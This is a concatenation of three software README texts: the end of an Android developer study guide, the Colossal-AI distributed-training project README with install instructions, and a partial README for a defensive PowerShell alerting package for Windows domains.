<!--(BEGINNING Persistent Data Storage)--> [db_android_guide_database]:<https://developer.android.com/training/basics/data-storage/databases.html> [db_android_guide_database_read]:<https://developer.android.com/training/basics/data-storage/databases.html#ReadDbRow> [db_android_guide_database_write]:<https://developer.android.com/training/basics/data-storage/databases.html#WriteDbRow> [db_android_guide_database_update]:<https://developer.android.com/training/basics/data-storage/databases.html#UpdateDbRow> [db_android_guide_database_delete]:<https://developer.android.com/training/basics/data-storage/databases.html#DeleteDbRow> [db_udacity]:<https://in.udacity.com/course/android-basics-data-storage--ud845/> [db_treehouse_data_persistence]:<https://teamtreehouse.com/library/android-data-persistence/> <!--(END Persistent Data Storage)--> [android_developers_about_widget]:<https://developer.android.com/guide/topics/appwidgets/index.html> [treehouse_widget_workshop]:<https://teamtreehouse.com/library/android-widgets> [ui_ux_android_page_creating_drawer]:<https://developer.android.com/training/implementing-navigation/nav-drawer.html> [ui_ux_android_developer_blog_navigation_view]:<https://android-developers.googleblog.com/2015/05/android-design-support-library.html> [ui_ux_navigation_view]:<https://antonioleiva.com/navigation-view/> <!--(END Application User Interface (UI) and User Experience (UX))--> # Updated Materials <!-- Update the Contents under to the new one --> #### App Data and Files (Android Architecture Components) >Android architecture components are part of Android Jetpack. They are a collection of libraries that help you design robust, testable, and maintainable apps. Start with classes for managing your UI component lifecycle and handling data persistence. - [Build an App with Architecture Components (GDD India '17)](https://www.youtube.com/watch?v=BofWWZE1wts) - Manage your app's lifecycle with ease. New [lifecycle-aware components](https://developer.android.com/topic/libraries/architecture/lifecycle) help you manage your activity and fragment lifecycles. Survive configuration changes, avoid memory leaks and easily load data into your UI. - [ ] Use LiveData to build data objects that notify views when the underlying database changes - [Top Architecture Components LiveData and Lifecycle](https://www.youtube.com/watch?v=juyGXCvjWyw) - [droidcon NYC 2017 - ViewModels, LiveData and Lifecycles, oh my!](https://www.youtube.com/watch?v=SlZVYkhoSq8) - [Team TreehouseData Persistence with Room](https://teamtreehouse.com/library/data-persistence-with-room) - [When and why to use Android LiveData @SearsIsrael](https://medium.com/sears-israel/when-and-why-to-use-android-livedata-93d7dd949138) - [Android Developers BackStage Episode 72: Architecture Components 1 - Lifecycle ](https://androidbackstage.blogspot.com/2017/06/episode-72-architecture-components-1.html) - ViewModel Stores UI-related data that isn't destroyed on app rotations. Note it doesn't replace savedInstanceState - Room is an a SQLite object mapping library. Use it to Avoid boilerplate code and easily convert SQLite table data to Java objects. Room provides compile time checks of SQLite statements and can return RxJava, Flowable and LiveData observables. [Android Developers Page](https://developer.android.com/training/data-storage/room/accessing-data) - [ ] Insert with @Insert DAO (Database Access Objects) - [Insert into your Database Table](https://developer.android.com/training/data-storage/room/accessing-data#convenience-insert) - [Android Developers BackStage Episode 73: Architecture Components 2 - Persistence](https://androidbackstage.blogspot.com/2017/07/episode-73-architecture-components-2.html) - [ ] Update or delete existing items in a database Using DAO (Database Access Objects) - [Update information in your Database](https://developer.android.com/training/data-storage/room/accessing-data#convenience-update) - [Delete information in your Database](https://developer.android.com/training/data-storage/room/accessing-data#convenience-delete) - [Android Developers BackStage Episode 73: Architecture Components 2 - Persistence](https://androidbackstage.blogspot.com/2017/07/episode-73-architecture-components-2.html) - [Android Repository Pattern using RX & Room @Corebuild](https://medium.com/corebuild-software/android-repository-pattern-using-rx-room-bac6c65d7385) - [Room with a View - Android Codelab](https://codelabs.developers.google.com/codelabs/android-room-with-a-view/#0) - [Build an App with Architecture Components- Android Codelab](https://codelabs.developers.google.com/codelabs/build-app-with-arch-components/index.html?index=..%2F..%2Findex#0) - [Android Architecture Components-Paging Libary](https://developer.android.com/topic/libraries/architecture/paging/) - [Introduction to Paging Libary](https://www.youtube.com/watch?v=QVMqCRs0BNA) - [Architecture Components - Introduction (Google I/O '17)](https://www.youtube.com/watch?v=FrteWKKVyzI) - [Android Jetpack: manage infinite lists with RecyclerView and Paging (Google I/O '18)](https://www.youtube.com/watch?v=BE5bsyGGLf4) - [Android Jetpack: what's new in Architecture Components (Google I/O '18)](https://www.youtube.com/watch?v=pErTyQpA390) - [Data Persistence with Room-TeamTreehouse ](https://teamtreehouse.com/library/data-persistence-with-room) - [Udacity has Updated their Course and also added Architecutre Components Course also](https://in.udacity.com/course/new-android-fundamentals--ud851) Thanks to [Pheonix73](https://github.com/Pheonix73) to contributing this section. ### My Advice is to Keep Learning and Looking for Materials that will help you become an Awesome Android Developerand take the exam!!! # License Copyright 2016 Arturo Mejia Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.

# Colossal-AI <div id="top" align="center"> [](https://www.colossalai.org/) Colossal-AI: Making large AI models cheaper, faster, and more accessible <h3> <a href="https://arxiv.org/abs/2110.14883"> Paper </a> | <a href="https://www.colossalai.org/"> Documentation </a> | <a href="https://github.com/hpcaitech/ColossalAI/tree/main/examples"> Examples </a> | <a href="https://github.com/hpcaitech/ColossalAI/discussions"> Forum </a> | <a href="https://medium.com/@hpcaitech"> Blog </a></h3> [](https://github.com/hpcaitech/ColossalAI/stargazers) [](https://github.com/hpcaitech/ColossalAI/actions/workflows/build_on_schedule.yml) [](https://colossalai.readthedocs.io/en/latest/?badge=latest) [](https://www.codefactor.io/repository/github/hpcaitech/colossalai) [](https://huggingface.co./hpcai-tech) [](https://join.slack.com/t/colossalaiworkspace/shared_invite/zt-z7b26eeb-CBp7jouvu~r0~lcFzX832w) [](https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/WeChat.png) | [English](README.md) | [中文](docs/README-zh-Hans.md) | </div> ## Latest News * [2023/07] [HPC-AI Tech Raises 22 Million USD in Series A Funding](https://www.hpc-ai.tech/blog/hpc-ai-tech-raises-22-million-usd-in-series-a-funding-to-fuel-team-expansion-and-business-growth) * [2023/07] [65B Model Pretraining Accelerated by 38%, Best Practices for Building LLaMA-Like Base Models Open-Source](https://www.hpc-ai.tech/blog/large-model-pretraining) * [2023/03] [ColossalChat: An Open-Source Solution for Cloning ChatGPT With a Complete RLHF Pipeline](https://medium.com/@yangyou_berkeley/colossalchat-an-open-source-solution-for-cloning-chatgpt-with-a-complete-rlhf-pipeline-5edf08fb538b) * [2023/03] [Intel and Colossal-AI Partner to Deliver Cost-Efficient Open-Source Solution for Protein Folding Structure Prediction](https://www.hpc-ai.tech/blog/intel-habana) * [2023/03] [AWS and Google Fund Colossal-AI with Startup Cloud Programs](https://www.hpc-ai.tech/blog/aws-and-google-fund-colossal-ai-with-startup-cloud-programs) * [2023/02] [Open Source Solution Replicates ChatGPT Training Process! Ready to go with only 1.6GB GPU Memory](https://www.hpc-ai.tech/blog/colossal-ai-chatgpt) * [2023/01] [Hardware Savings Up to 46 Times for AIGC and Automatic Parallelism](https://medium.com/pytorch/latest-colossal-ai-boasts-novel-automatic-parallelism-and-offers-savings-up-to-46x-for-stable-1453b48f3f02) * [2022/11] [Diffusion Pretraining and Hardware Fine-Tuning Can Be Almost 7X Cheaper](https://www.hpc-ai.tech/blog/diffusion-pretraining-and-hardware-fine-tuning-can-be-almost-7x-cheaper) * [2022/10] [Use a Laptop to Analyze 90% of Proteins, With a Single-GPU Inference Sequence Exceeding 10,000](https://www.hpc-ai.tech/blog/use-a-laptop-to-analyze-90-of-proteins-with-a-single-gpu-inference-sequence-exceeding) ## Table of Contents <ul> <li><a href="#Why-Colossal-AI">Why Colossal-AI</a> </li> <li><a href="#Features">Features</a> </li> <li> <a href="#Colossal-AI-in-the-Real-World">Colossal-AI for Real World Applications</a> <ul> <li><a href="#ColossalChat">ColossalChat: An Open-Source Solution for Cloning ChatGPT With a Complete RLHF Pipeline</a></li> <li><a href="#AIGC">AIGC: Acceleration of Stable Diffusion</a></li> <li><a href="#Biomedicine">Biomedicine: Acceleration of AlphaFold Protein Structure</a></li> </ul> </li> <li> <a href="#Parallel-Training-Demo">Parallel Training Demo</a> <ul> <li><a href="#LLaMA">LLaMA</a></li> <li><a href="#GPT-3">GPT-3</a></li> <li><a href="#GPT-2">GPT-2</a></li> <li><a href="#BERT">BERT</a></li> <li><a href="#PaLM">PaLM</a></li> <li><a href="#OPT">OPT</a></li> <li><a href="#ViT">ViT</a></li> <li><a href="#Recommendation-System-Models">Recommendation System Models</a></li> </ul> </li> <li> <a href="#Single-GPU-Training-Demo">Single GPU Training Demo</a> <ul> <li><a href="#GPT-2-Single">GPT-2</a></li> <li><a href="#PaLM-Single">PaLM</a></li> </ul> </li> <li> <a href="#Inference-Energon-AI-Demo">Inference (Energon-AI) Demo</a> <ul> <li><a href="#GPT-3-Inference">GPT-3</a></li> <li><a href="#OPT-Serving">OPT-175B Online Serving for Text Generation</a></li> <li><a href="#BLOOM-Inference">176B BLOOM</a></li> </ul> </li> <li> <a href="#Installation">Installation</a> <ul> <li><a href="#PyPI">PyPI</a></li> <li><a href="#Install-From-Source">Install From Source</a></li> </ul> </li> <li><a href="#Use-Docker">Use Docker</a></li> <li><a href="#Community">Community</a></li> <li><a href="#Contributing">Contributing</a></li> <li><a href="#Cite-Us">Cite Us</a></li> </ul> ## Why Colossal-AI <div align="center"> <a href="https://youtu.be/KnXSfjqkKN0"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/JamesDemmel_Colossal-AI.png" width="600" /> </a> Prof. James Demmel (UC Berkeley): Colossal-AI makes training AI models efficient, easy, and scalable. </div> <p align="right">(<a href="#top">back to top</a>)</p> ## Features Colossal-AI provides a collection of parallel components for you. We aim to support you to write your distributed deep learning models just like how you write your model on your laptop. We provide user-friendly tools to kickstart distributed training and inference in a few lines. - Parallelism strategies - Data Parallelism - Pipeline Parallelism - 1D, [2D](https://arxiv.org/abs/2104.05343), [2.5D](https://arxiv.org/abs/2105.14500), [3D](https://arxiv.org/abs/2105.14450) Tensor Parallelism - [Sequence Parallelism](https://arxiv.org/abs/2105.13120) - [Zero Redundancy Optimizer (ZeRO)](https://arxiv.org/abs/1910.02054) - [Auto-Parallelism](https://arxiv.org/abs/2302.02599) - Heterogeneous Memory Management - [PatrickStar](https://arxiv.org/abs/2108.05818) - Friendly Usage - Parallelism based on the configuration file - Inference - [Energon-AI](https://github.com/hpcaitech/EnergonAI) <p align="right">(<a href="#top">back to top</a>)</p> ## Colossal-AI in the Real World ### ColossalChat <div align="center"> <a href="https://www.youtube.com/watch?v=HcTiHzApHm0"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/applications/chat/ColossalChat%20YouTube.png" width="700" /> </a> </div> [ColossalChat](https://github.com/hpcaitech/ColossalAI/tree/main/applications/Chat): An open-source solution for cloning [ChatGPT](https://openai.com/blog/chatgpt/) with a complete RLHF pipeline. [[code]](https://github.com/hpcaitech/ColossalAI/tree/main/applications/Chat) [[blog]](https://medium.com/@yangyou_berkeley/colossalchat-an-open-source-solution-for-cloning-chatgpt-with-a-complete-rlhf-pipeline-5edf08fb538b) [[demo]](https://www.youtube.com/watch?v=HcTiHzApHm0) [[tutorial]](https://www.youtube.com/watch?v=-qFBZFmOJfg) <p id="ColossalChat-Speed" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/applications/chat/ColossalChat%20Speed.jpg" width=450/> </p> - Up to 10 times faster for RLHF PPO Stage3 Training <p id="ColossalChat_scaling" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/applications/chatgpt/ChatGPT%20scaling.png" width=800/> </p> - Up to 7.73 times faster for single server training and 1.42 times faster for single-GPU inference <p id="ColossalChat-1GPU" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/applications/chatgpt/ChatGPT-1GPU.jpg" width=450/> </p> - Up to 10.3x growth in model capacity on one GPU - A mini demo training process requires only 1.62GB of GPU memory (any consumer-grade GPU) <p id="ColossalChat-LoRA" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/applications/chatgpt/LoRA%20data.jpg" width=600/> </p> - Increase the capacity of the fine-tuning model by up to 3.7 times on a single GPU - Keep at a sufficiently high running speed <p align="right">(<a href="#top">back to top</a>)</p> ### AIGC Acceleration of AIGC (AI-Generated Content) models such as [Stable Diffusion v1](https://github.com/CompVis/stable-diffusion) and [Stable Diffusion v2](https://github.com/Stability-AI/stablediffusion). <p id="diffusion_train" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/Stable%20Diffusion%20v2.png" width=800/> </p> - [Training](https://github.com/hpcaitech/ColossalAI/tree/main/examples/images/diffusion): Reduce Stable Diffusion memory consumption by up to 5.6x and hardware cost by up to 46x (from A100 to RTX3060). <p id="diffusion_demo" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/DreamBooth.png" width=800/> </p> - [DreamBooth Fine-tuning](https://github.com/hpcaitech/ColossalAI/tree/main/examples/images/dreambooth): Personalize your model using just 3-5 images of the desired subject. <p id="inference" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/Stable%20Diffusion%20Inference.jpg" width=800/> </p> - [Inference](https://github.com/hpcaitech/ColossalAI/tree/main/examples/images/diffusion): Reduce inference GPU memory consumption by 2.5x. <p align="right">(<a href="#top">back to top</a>)</p> ### Biomedicine Acceleration of [AlphaFold Protein Structure](https://alphafold.ebi.ac.uk/) <p id="FastFold" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/FastFold.jpg" width=800/> </p> - [FastFold](https://github.com/hpcaitech/FastFold): Accelerating training and inference on GPU Clusters, faster data processing, inference sequence containing more than 10000 residues. <p id="FastFold-Intel" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/data%20preprocessing%20with%20Intel.jpg" width=600/> </p> - [FastFold with Intel](https://github.com/hpcaitech/FastFold): 3x inference acceleration and 39% cost reduce. <p id="xTrimoMultimer" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/xTrimoMultimer_Table.jpg" width=800/> </p> - [xTrimoMultimer](https://github.com/biomap-research/xTrimoMultimer): accelerating structure prediction of protein monomers and multimer by 11x. <p align="right">(<a href="#top">back to top</a>)</p> ## Parallel Training Demo ### LLaMA <p align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/examples/images/LLaMA_pretraining.png" width=600/> </p> - 65-billion-parameter large model pretraining accelerated by 38% [[code]](https://github.com/hpcaitech/ColossalAI/tree/example/llama/examples/language/llama) [[blog]](https://www.hpc-ai.tech/blog/large-model-pretraining) ### GPT-3 <p align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/GPT3-v5.png" width=700/> </p> - Save 50% GPU resources and 10.7% acceleration ### GPT-2 <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/GPT2.png" width=800/> - 11x lower GPU memory consumption, and superlinear scaling efficiency with Tensor Parallelism <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/(updated)GPT-2.png" width=800> - 24x larger model size on the same hardware - over 3x acceleration ### BERT <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/BERT.png" width=800/> - 2x faster training, or 50% longer sequence length ### PaLM - [PaLM-colossalai](https://github.com/hpcaitech/PaLM-colossalai): Scalable implementation of Google's Pathways Language Model ([PaLM](https://ai.googleblog.com/2022/04/pathways-language-model-palm-scaling-to.html)). ### OPT <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/OPT_update.png" width=800/> - [Open Pretrained Transformer (OPT)](https://github.com/facebookresearch/metaseq), a 175-Billion parameter AI language model released by Meta, which stimulates AI programmers to perform various downstream tasks and application deployments because of public pre-trained model weights. - 45% speedup fine-tuning OPT at low cost in lines. [[Example]](https://github.com/hpcaitech/ColossalAI/tree/main/examples/language/opt) [[Online Serving]](https://colossalai.org/docs/advanced_tutorials/opt_service) Please visit our [documentation](https://www.colossalai.org/) and [examples](https://github.com/hpcaitech/ColossalAI/tree/main/examples) for more details. ### ViT <p align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/ViT.png" width="450" /> </p> - 14x larger batch size, and 5x faster training for Tensor Parallelism = 64 ### Recommendation System Models - [Cached Embedding](https://github.com/hpcaitech/CachedEmbedding), utilize software cache to train larger embedding tables with a smaller GPU memory budget. <p align="right">(<a href="#top">back to top</a>)</p> ## Single GPU Training Demo ### GPT-2 <p id="GPT-2-Single" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/GPT2-GPU1.png" width=450/> </p> - 20x larger model size on the same hardware <p id="GPT-2-NVME" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/GPT2-NVME.png" width=800/> </p> - 120x larger model size on the same hardware (RTX 3080) ### PaLM <p id="PaLM-Single" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/PaLM-GPU1.png" width=450/> </p> - 34x larger model size on the same hardware <p align="right">(<a href="#top">back to top</a>)</p> ## Inference (Energon-AI) Demo <p id="GPT-3-Inference" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/inference_GPT-3.jpg" width=800/> </p> - [Energon-AI](https://github.com/hpcaitech/EnergonAI): 50% inference acceleration on the same hardware <p id="OPT-Serving" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/BLOOM%20serving.png" width=600/> </p> - [OPT Serving](https://colossalai.org/docs/advanced_tutorials/opt_service): Try 175-billion-parameter OPT online services <p id="BLOOM-Inference" align="center"> <img src="https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/BLOOM%20Inference.PNG" width=800/> </p> - [BLOOM](https://github.com/hpcaitech/EnergonAI/tree/main/examples/bloom): Reduce hardware deployment costs of 176-billion-parameter BLOOM by more than 10 times. <p align="right">(<a href="#top">back to top</a>)</p> ## Installation Requirements: - PyTorch >= 1.11 (PyTorch 2.x in progress) - Python >= 3.7 - CUDA >= 11.0 - [NVIDIA GPU Compute Capability](https://developer.nvidia.com/cuda-gpus) >= 7.0 (V100/RTX20 and higher) - Linux OS If you encounter any problem with installation, you may want to raise an [issue](https://github.com/hpcaitech/ColossalAI/issues/new/choose) in this repository. ### Install from PyPI You can easily install Colossal-AI with the following command. **By default, we do not build PyTorch extensions during installation.** ```bash pip install colossalai ``` **Note: only Linux is supported for now.** However, if you want to build the PyTorch extensions during installation, you can set `CUDA_EXT=1`. ```bash CUDA_EXT=1 pip install colossalai ``` **Otherwise, CUDA kernels will be built during runtime when you actually need them.** We also keep releasing the nightly version to PyPI every week. This allows you to access the unreleased features and bug fixes in the main branch. Installation can be made via ```bash pip install colossalai-nightly ``` ### Download From Source > The version of Colossal-AI will be in line with the main branch of the repository. Feel free to raise an issue if you encounter any problems. :) ```shell git clone https://github.com/hpcaitech/ColossalAI.git cd ColossalAI # install colossalai pip install . ``` By default, we do not compile CUDA/C++ kernels. ColossalAI will build them during runtime. If you want to install and enable CUDA kernel fusion (compulsory installation when using fused optimizer): ```shell CUDA_EXT=1 pip install . ``` For Users with CUDA 10.2, you can still build ColossalAI from source. However, you need to manually download the cub library and copy it to the corresponding directory. ```bash # clone the repository git clone https://github.com/hpcaitech/ColossalAI.git cd ColossalAI # download the cub library wget https://github.com/NVIDIA/cub/archive/refs/tags/1.8.0.zip unzip 1.8.0.zip cp -r cub-1.8.0/cub/ colossalai/kernel/cuda_native/csrc/kernels/include/ # install CUDA_EXT=1 pip install . ``` <p align="right">(<a href="#top">back to top</a>)</p> ## Use Docker ### Pull from DockerHub You can directly pull the docker image from our [DockerHub page](https://hub.docker.com/r/hpcaitech/colossalai). The image is automatically uploaded upon release. ### Build On Your Own Run the following command to build a docker image from Dockerfile provided. > Building Colossal-AI from scratch requires GPU support, you need to use Nvidia Docker Runtime as the default when doing `docker build`. More details can be found [here](https://stackoverflow.com/questions/59691207/docker-build-with-nvidia-runtime). > We recommend you install Colossal-AI from our [project page](https://www.colossalai.org) directly. ```bash cd ColossalAI docker build -t colossalai ./docker ``` Run the following command to start the docker container in interactive mode. ```bash docker run -ti --gpus all --rm --ipc=host colossalai bash ``` <p align="right">(<a href="#top">back to top</a>)</p> ## Community Join the Colossal-AI community on [Forum](https://github.com/hpcaitech/ColossalAI/discussions), [Slack](https://join.slack.com/t/colossalaiworkspace/shared_invite/zt-z7b26eeb-CBp7jouvu~r0~lcFzX832w), and [WeChat(微信)](https://raw.githubusercontent.com/hpcaitech/public_assets/main/colossalai/img/WeChat.png "qrcode") to share your suggestions, feedback, and questions with our engineering team. ## Contributing Referring to the successful attempts of [BLOOM](https://bigscience.huggingface.co/) and [Stable Diffusion](https://en.wikipedia.org/wiki/Stable_Diffusion), any and all developers and partners with computing powers, datasets, models are welcome to join and build the Colossal-AI community, making efforts towards the era of big AI models! You may contact us or participate in the following ways: 1. [Leaving a Star ⭐](https://github.com/hpcaitech/ColossalAI/stargazers) to show your like and support. Thanks! 2. Posting an [issue](https://github.com/hpcaitech/ColossalAI/issues/new/choose), or submitting a PR on GitHub follow the guideline in [Contributing](https://github.com/hpcaitech/ColossalAI/blob/main/CONTRIBUTING.md) 3. Send your official proposal to email [email protected] Thanks so much to all of our amazing contributors! <a href="https://github.com/hpcaitech/ColossalAI/graphs/contributors"> <img src="https://contrib.rocks/image?repo=hpcaitech/ColossalAI" width="800px"/> </a> <p align="right">(<a href="#top">back to top</a>)</p> ## CI/CD We leverage the power of [GitHub Actions](https://github.com/features/actions) to automate our development, release and deployment workflows. Please check out this [documentation](.github/workflows/README.md) on how the automated workflows are operated. ## Cite Us This project is inspired by some related projects (some by our team and some by other organizations). We would like to credit these amazing projects as listed in the [Reference List](./docs/REFERENCE.md). To cite this project, you can use the following BibTeX citation. ``` @article{bian2021colossal, title={Colossal-AI: A Unified Deep Learning System For Large-Scale Parallel Training}, author={Bian, Zhengda and Liu, Hongxin and Wang, Boxiang and Huang, Haichen and Li, Yongbin and Wang, Chuanrui and Cui, Fan and You, Yang}, journal={arXiv preprint arXiv:2110.14883}, year={2021} } ``` Colossal-AI has been accepted as official tutorial by top conferences [NeurIPS](https://nips.cc/), [SC](https://sc22.supercomputing.org/), [AAAI](https://aaai.org/Conferences/AAAI-23/), [PPoPP](https://ppopp23.sigplan.org/), [CVPR](https://cvpr2023.thecvf.com/), [ISC](https://www.isc-hpc.com/), [NVIDIA GTC](https://www.nvidia.com/en-us/on-demand/session/gtcspring23-S51482/) ,etc. <p align="right">(<a href="#top">back to top</a>)</p>

# The Blue Team PowerShell Security Package  <img src="https://img.shields.io/liberapay/goal/tobor.svg?logo=liberapay"> ## Using Microsoft Teams for Alerts Instead of Email If you wish to use Microsoft Teams for sending alerts instead of using email you will want to load the [microsoft-teams](https://github.com/OsbornePro/BTPS-SecPack/tree/microsoft-teams) branch for this repository which has the Teams alert modifications. It will take me a little while to implement this as a configuration option in the install script. Using Microsoft Teams for alert posts does not remove the need for certain email notifications in this repository. Email will still be used for some of the actions. These Teams Posts are able to be completed after you first create a webhook. So-called webhooks offer the possibility to send alerts or other notifications to a Microsoft Teams channel. I personally still prefer emails after using this message because they are easier to sort through, in my opinion. - [Microsoft Documentation to create a Webhook](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook) - [Microsoft Documentation on Using Webhooks](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/connectors-using?tabs=cURL) You can create a webhook using the following steps (if you are an admin) 1. Open the Microsoft Teams application 2. In the left hand pane click "__Teams__" 3. Click the more options icon represented by 3 dots "__...__" next to one of the desired Teams Channels. __Example Channel Name: General__ 4. Clicking those 3 dots will display a dropdown menu. Click "__Connectors__" 5. Click the "__Add__" button next to "__Incoming Webhook__" 6. Click "__Add__" on the Incoming Webhook pop up screen 7. On the Incoming Webhook screen perform the following actions a. Define a name for your webhook. In the below image this value is "_PowerShell-TeamsMessagePost_" b. Click "__Create__" c. Optionally you can also use "__Upload Image__" to select an image for the Incoming Webhook. In the below image I left the default icon which is the light blue triangle on white background. d. Click "__Create__" 8. The Incoming Webhook URL is created. Copy the URL and click "__Done__" You can now use the above URL in the B.T.P.S Security Package scripts I provide. You can quickly update the value in the scripts by executing the below commands ```powershell $WebHook = Read-Host -Prompt "Paster your Webhook URL here: " $SIEM = Read-Host -Prompt "If you have a SIEM in your environment enter the link here: " $BTPSHome = Read-Host -Prompt "Where did you save the BTPS Security Pacakge git repo? EXAMPLE: C:\Users\Administrator\Downloads\BTPS-SecPack-microsoft-teams" $Files = (Get-ChildItem -Path $BTPSHome -Include "AttemptedPasswordChange.ps1","AttemptedPasswordReset.ps1","Failed.Username.and.Password.ps1","User.Account.Created.ps1 ","User.Account.Locked.ps1","User.Account.Unlocked.ps1","DNSZoneTransferAlert.ps1","NewComputerAlert.ps1","Query-InsecureLDAPBinds.ps1","UnusualUserSignInAlert.ps1","Watch-PortScan.ps1 " -Recurse -ErrorAction SilentlyContinue -Force).FullName ForEach ($File in $Files) { ((Get-Content -Path $File -Raw) -Replace "WEBHOOK_URL_REPLACE","$WebHook") | Set-Content -Path $File -Force ((Get-Content -Path $File -Raw) -Replace "SIEM TOOL LINK","$SIEM") | Set-Content -Path $File -Force } # End ForEach ``` You alert in Microsoft Teams will something look like this  ### CONTRIBUTE TO THE PROJECT If you wish to help contribute to the contents of this project feel free to reach out to me at [email protected] with your thoughts and ideas. For more general information on this feel free to refer to the [CONTRIBUTING](https://github.com/tobor88/BTPS-SecPack/blob/master/CONTRIBUTING.md) documentation. ### DONATIONS If you wish to donate to this project to help me keep a nice looking site for the documentation your donations will be graciously accepted. [![](https://img.shields.io/badge/LiberaPay-BTPSSecPack-yellow")](https://liberapay.com/tobor/donate) [](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=AGKU5LWZA67XC&currency_code=USD&source=url) [](https://www.coinbase.com) <br> SEND ETHERUM TO : 0xBeDbCfA5366fF1187957BB3ed8811c51B4dBe4D4 <br> # The B.T.P.S. Sec Pack This repo contains a collection of PowerShell tools that can be utilized to protect defend an environment based Microsoft's recommendations. <br> This repo also assumes that you have referenced the Windows Event Logging Cheat Sheet for logging in your environment. Use [LOG-MD](https://www.imfsecurity.com/free) or [CIS-CAT](https://learn.cisecurity.org/benchmarks#:~:text=CIS%20Benchmarks%20are%20the%20only%20consensus-based%2C%20best-practice%20security,and%20accepted%20by%20government%2C%20business%2C%20industry%2C%20and%20academia) to ensure the recommended logging is configured. ## Installer.ps1 I wrote an initial install script to automatically set up as much of these protections automatically as possible. Most of these scripts are email alerts. When running Installer.ps1 you will be questioned on how you want to authenticate to your SMTP server. This can be done through the use of a credential file or using IP address authentication. This script should be run on a domain controller as this is where many of the alerts are located. I would suggest using WinRM over HTTPS in your environment. I have a video and setup instructions for WinRM over HTTPS on this projects site [HERE](https://btps-secpack.com/winrm-over-https). This script will let you know if LDAP over SSL is being utilized in your environment. If you wish to configure LDAP over SSL in your environment, which I highly recommend, I did a video on how to do this safely and securely [HERE](https://youtu.be/8rlk2xDkgLw). The Installer.ps1 scritp will help you set up each section of this package with pauses in the script that wait on you to complete a task if one is needed. One such wait for example is for you to set up a group policy to be pushed out. After being run the majority of the below protections will be applied to your environment. The "Unusual Sign In Alert" will require you to modify the UserComputerList.csv file so it contains contents on what users are expected to be signing into what devices in your environment. ### What Protections Are Included After Running Installer.ps1? - __Canary Executable Decoys__ I have included a few executable files that an attacker may not be able to resist executing. These executable files are fake binaries that print the help message of the original executable file to make it seem like the file is legitimate upon execution. These executable files are meant to be uploaded to [Canary Tokens](https://www.canarytokens.org/generate) which will send you an email alert whenever the file is executed. Instructions on this can be viewed [HERE](https://github.com/tobor88/BTPS-SecPack/blob/master/Canary%20Executables/README.md) - __RemediateCompromisedOfficeAccount.ps1__ [VIEW](https://github.com/tobor88/BTPS-SecPack/blob/master/RemediateCompromisedOfficeAccount.ps1) is used to respond to a user whose Office365 password has been comrpomised. This will Reset password (which kills the session). Remove mailbox delegates. Remove mailforwarding rules to external domains. Remove global mailforwarding property on mailbox. Set password complexity on the account to be high. Enable mailbox auditing. Produce Audit Log for the admin to review. - __Account and Password Alerts__ [VIEW](https://github.com/tobor88/BTPS-SecPack/tree/master/Account%20and%20Password%20Alerts) - Receive alerts when an account is expiring in 2 weeks or less - Receive alert containing a table of all users whose passwords are expiring in two weeks or less - Receive an alert when a user attempts to change their password - Receive an alert when one account attempts to change the password of another account - Receive an alert when an account fails to logon to a server - Receive an alert when a new user account is created - Receive an alert when a user account is locked out - Receive an alert when a user account has been unlocked - Receive an alert when administrator credentials are used to execute a process with elevated privileges. This is really only meant to monitor users who may have been given administrator credentials against IT's recommendations. It can be used to monitor an administrator for malicious activity as well if desired. Chances are you will not need to implement __MonitorAdminEscalation.ps1__ - __AutoRunsToWinEvent__ [ORIGINAL](https://github.com/palantir/windows-event-forwarding/tree/master/AutorunsToWinEventLog) [VIEW](https://github.com/tobor88/BTPS-SecPack/tree/master/AutoRunsToWinEvent) - This basically takes creates an event log entry in event viewer containig AutoRuns hashes. I am not the author of this. I am only including this in the package as it is an important thing to keep track of - __Device Discovery__ [VIEW](https://github.com/tobor88/BTPS-SecPack/tree/master/Device%20Discovery) - Receive an alert any time a device that has never been connected to your network before receives an IP address from one of your DHCP servers. - __Event Alerts__ [VIEW](https://github.com/tobor88/BTPS-SecPack/tree/master/Event%20Alerts) - Receive an alert when a DNS Zone Transfer occurs - Receive an alert when a new service is installed on a device that is not a Windows Defender 